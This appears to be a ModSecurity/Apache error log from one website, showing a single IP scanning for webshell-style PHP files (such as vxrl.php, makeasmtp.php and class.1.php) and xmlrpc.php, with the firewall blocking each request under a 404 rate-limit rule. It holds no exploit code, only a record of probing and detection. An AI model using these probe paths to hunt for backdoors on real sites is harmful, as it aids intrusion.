[Thu Feb 26 21:07:02.950241 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:41009] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/re.php"] [unique_id "aaBFduA33x90V6yYHajh1gAAAU4"]
[Thu Feb 26 21:07:03.470041 2026] [:error] [pid 55122:tid 55134] [client 20.216.146.160:41622] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/num.php"] [unique_id "aaBFd4LiR0OfjFxvcN8uNgAAAMo"]
[Thu Feb 26 21:07:03.947497 2026] [:error] [pid 44444:tid 44466] [client 20.216.146.160:20140] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/num.php"] [unique_id "aaBFd22sMNmj-yekUk0YZAAAAhA"]
[Thu Feb 26 21:07:04.459499 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:20033] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/num.php"] [unique_id "aaBFeOA33x90V6yYHajh2wAAAVQ"]
[Thu Feb 26 21:07:04.943838 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:33974] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/num.php"] [unique_id "aaBFeOA33x90V6yYHajh3QAAAU0"]
[Thu Feb 26 21:07:05.432648 2026] [:error] [pid 44444:tid 44473] [client 20.216.146.160:40982] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaBFeW2sMNmj-yekUk0YZgAAAhc"]
[Thu Feb 26 21:07:05.929227 2026] [:error] [pid 25311:tid 25321] [client 20.216.146.160:37687] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaBFedfdM__yZAgJFSveBwAAAYc"]
[Thu Feb 26 21:07:06.406224 2026] [:error] [pid 25311:tid 25322] [client 20.216.146.160:32471] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaBFetfdM__yZAgJFSveCQAAAYg"]
[Thu Feb 26 21:07:06.896491 2026] [:error] [pid 44444:tid 44453] [client 20.216.146.160:37662] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaBFem2sMNmj-yekUk0YZwAAAgM"]
[Thu Feb 26 21:07:07.393003 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:20085] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFe-A33x90V6yYHajh6AAAAUQ"]
[Thu Feb 26 21:07:07.863166 2026] [:error] [pid 44444:tid 44459] [client 20.216.146.160:33981] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFe22sMNmj-yekUk0YaQAAAgk"]
[Thu Feb 26 21:07:08.350539 2026] [:error] [pid 25311:tid 25328] [client 20.216.146.160:41662] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFfNfdM__yZAgJFSveDQAAAY4"]
[Thu Feb 26 21:07:08.822231 2026] [:error] [pid 25311:tid 25336] [client 20.216.146.160:11842] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFfNfdM__yZAgJFSveDwAAAZY"]
[Thu Feb 26 21:07:09.305919 2026] [:error] [pid 25311:tid 25335] [client 20.216.146.160:39578] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aaBFfdfdM__yZAgJFSveEAAAAZU"]
[Thu Feb 26 21:07:09.776503 2026] [:error] [pid 3883:tid 3886] [client 20.216.146.160:32506] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aaBFfeA33x90V6yYHajh9wAAAUA"]
[Thu Feb 26 21:07:10.261768 2026] [:error] [pid 3883:tid 3891] [client 20.216.146.160:48089] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aaBFfuA33x90V6yYHajh-gAAAUU"]
[Thu Feb 26 21:07:10.749001 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:48105] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aaBFfuA33x90V6yYHajh_wAAAU0"]
[Thu Feb 26 21:07:11.220732 2026] [:error] [pid 20419:tid 20445] [client 20.216.146.160:11901] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aaBFf-3DVDvMfTYYUBVTZQAAAdc"]
[Thu Feb 26 21:07:11.692419 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:36019] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aaBFf22sMNmj-yekUk0YcQAAAhE"]
[Thu Feb 26 21:07:29.270351 2026] [:error] [pid 20419:tid 20429] [client 20.216.146.160:20959] [client 20.216.146.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.216.146.160, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBFke3DVDvMfTYYUBVTgQAAAcc"]
[Thu Feb 26 21:07:43.846098 2026] [:error] [pid 20419:tid 20436] [client 20.216.146.160:20959] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBFn-3DVDvMfTYYUBVTjwAAAc4"]
[Thu Feb 26 21:07:44.327632 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:42756] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBFoG2sMNmj-yekUk0YmgAAAgQ"]
[Thu Feb 26 21:07:44.809815 2026] [:error] [pid 55618:tid 55638] [client 20.216.146.160:34635] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBFoB61Vrh12f_8oWQKMQAAARE"]
[Thu Feb 26 21:07:45.302171 2026] [:error] [pid 44444:tid 44457] [client 20.216.146.160:31927] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBFoW2sMNmj-yekUk0YngAAAgc"]
[Thu Feb 26 21:07:45.791067 2026] [:error] [pid 55618:tid 55631] [client 20.216.146.160:14949] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBFoR61Vrh12f_8oWQKMgAAAQo"]
[Thu Feb 26 21:07:46.259488 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:21289] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBFom2sMNmj-yekUk0YoAAAAgs"]
[Thu Feb 26 21:07:46.736958 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:12165] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBFom2sMNmj-yekUk0YoQAAAgY"]
[Thu Feb 26 21:07:47.223910 2026] [:error] [pid 54991:tid 55034] [client 20.216.146.160:46029] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBFo94Zx-mJ8gbRB2jkRQAAAE4"]
[Thu Feb 26 21:07:47.700249 2026] [:error] [pid 55618:tid 55640] [client 20.216.146.160:11282] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aaBFox61Vrh12f_8oWQKMwAAARM"]
[Thu Feb 26 21:07:48.172110 2026] [:error] [pid 55618:tid 55634] [client 20.216.146.160:33311] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aaBFpB61Vrh12f_8oWQKNAAAAQ0"]
[Thu Feb 26 21:07:48.664847 2026] [:error] [pid 44444:tid 44460] [client 20.216.146.160:11267] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aaBFpG2sMNmj-yekUk0YpAAAAgo"]
[Thu Feb 26 21:07:49.147629 2026] [:error] [pid 55618:tid 55622] [client 20.216.146.160:54744] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aaBFpR61Vrh12f_8oWQKNwAAAQE"]
[Thu Feb 26 21:07:49.677607 2026] [:error] [pid 44444:tid 44450] [client 20.216.146.160:46055] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ov.php"] [unique_id "aaBFpW2sMNmj-yekUk0YqAAAAgA"]
[Thu Feb 26 21:07:50.157311 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:10885] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ov.php"] [unique_id "aaBFpuA33x90V6yYHajiWgAAAUI"]
[Thu Feb 26 21:07:50.675214 2026] [:error] [pid 55051:tid 55056] [client 20.216.146.160:33906] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ov.php"] [unique_id "aaBFpgmK1w2kZvh5eLGoagAAAII"]
[Thu Feb 26 21:07:51.153860 2026] [:error] [pid 44444:tid 44470] [client 20.216.146.160:21276] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ov.php"] [unique_id "aaBFp22sMNmj-yekUk0YrQAAAhQ"]
[Thu Feb 26 21:07:51.636577 2026] [:error] [pid 44444:tid 44469] [client 20.216.146.160:17762] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBFp22sMNmj-yekUk0YrwAAAhM"]
[Thu Feb 26 21:07:52.109874 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:49669] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBFqG2sMNmj-yekUk0YsAAAAgs"]
[Thu Feb 26 21:07:52.601260 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:36267] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBFqG2sMNmj-yekUk0YsQAAAgY"]
[Thu Feb 26 21:07:53.101324 2026] [:error] [pid 54991:tid 55021] [client 20.216.146.160:36500] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBFqd4Zx-mJ8gbRB2jkSAAAAEE"]
[Thu Feb 26 21:07:53.573541 2026] [:error] [pid 55618:tid 55645] [client 20.216.146.160:11227] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/default.php"] [unique_id "aaBFqR61Vrh12f_8oWQKPwAAARg"]
[Thu Feb 26 21:07:54.050318 2026] [:error] [pid 44444:tid 44458] [client 20.216.146.160:11275] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/default.php"] [unique_id "aaBFqm2sMNmj-yekUk0YtAAAAgg"]
[Thu Feb 26 21:07:54.524816 2026] [:error] [pid 44444:tid 44474] [client 20.216.146.160:11268] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/default.php"] [unique_id "aaBFqm2sMNmj-yekUk0YtgAAAhg"]
[Thu Feb 26 21:07:54.993593 2026] [:error] [pid 54990:tid 54998] [client 20.216.146.160:11302] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/default.php"] [unique_id "aaBFqntr2qmt_mBhH2wnTAAAAAU"]
[Thu Feb 26 21:07:55.489330 2026] [:error] [pid 55122:tid 55130] [client 20.216.146.160:40360] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aaBFq4LiR0OfjFxvcN8uRgAAAMY"]
[Thu Feb 26 21:07:55.960569 2026] [:error] [pid 3883:tid 3908] [client 20.216.146.160:12164] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aaBFq-A33x90V6yYHajiZAAAAVY"]
[Thu Feb 26 21:07:56.439905 2026] [:error] [pid 55618:tid 55629] [client 20.216.146.160:14692] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aaBFrB61Vrh12f_8oWQKQgAAAQg"]
[Thu Feb 26 21:07:56.910781 2026] [:error] [pid 3883:tid 3907] [client 20.216.146.160:32573] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aaBFrOA33x90V6yYHajiZwAAAVU"]
[Thu Feb 26 21:07:57.383474 2026] [:error] [pid 20419:tid 20435] [client 20.216.146.160:42179] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBFre3DVDvMfTYYUBVTkAAAAc0"]
[Thu Feb 26 21:07:57.853317 2026] [:error] [pid 20419:tid 20431] [client 20.216.146.160:46057] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBFre3DVDvMfTYYUBVTkQAAAck"]
[Thu Feb 26 21:07:58.325503 2026] [:error] [pid 25311:tid 25316] [client 20.216.146.160:11208] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBFrtfdM__yZAgJFSveLQAAAYI"]
[Thu Feb 26 21:07:58.796078 2026] [:error] [pid 55122:tid 55137] [client 20.216.146.160:30056] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBFroLiR0OfjFxvcN8uSQAAAM0"]
[Thu Feb 26 21:07:59.269405 2026] [:error] [pid 25311:tid 25317] [client 20.216.146.160:11259] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.1.php"] [unique_id "aaBFr9fdM__yZAgJFSveMAAAAYM"]
[Thu Feb 26 21:07:59.744299 2026] [:error] [pid 25311:tid 25336] [client 20.216.146.160:34110] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.1.php"] [unique_id "aaBFr9fdM__yZAgJFSveMwAAAZY"]
[Thu Feb 26 21:08:00.212975 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:30888] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.1.php"] [unique_id "aaBFsOA33x90V6yYHajidAAAAUc"]
[Thu Feb 26 21:08:00.683175 2026] [:error] [pid 54990:tid 55005] [client 20.216.146.160:24355] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.1.php"] [unique_id "aaBFsHtr2qmt_mBhH2wnTwAAAAw"]
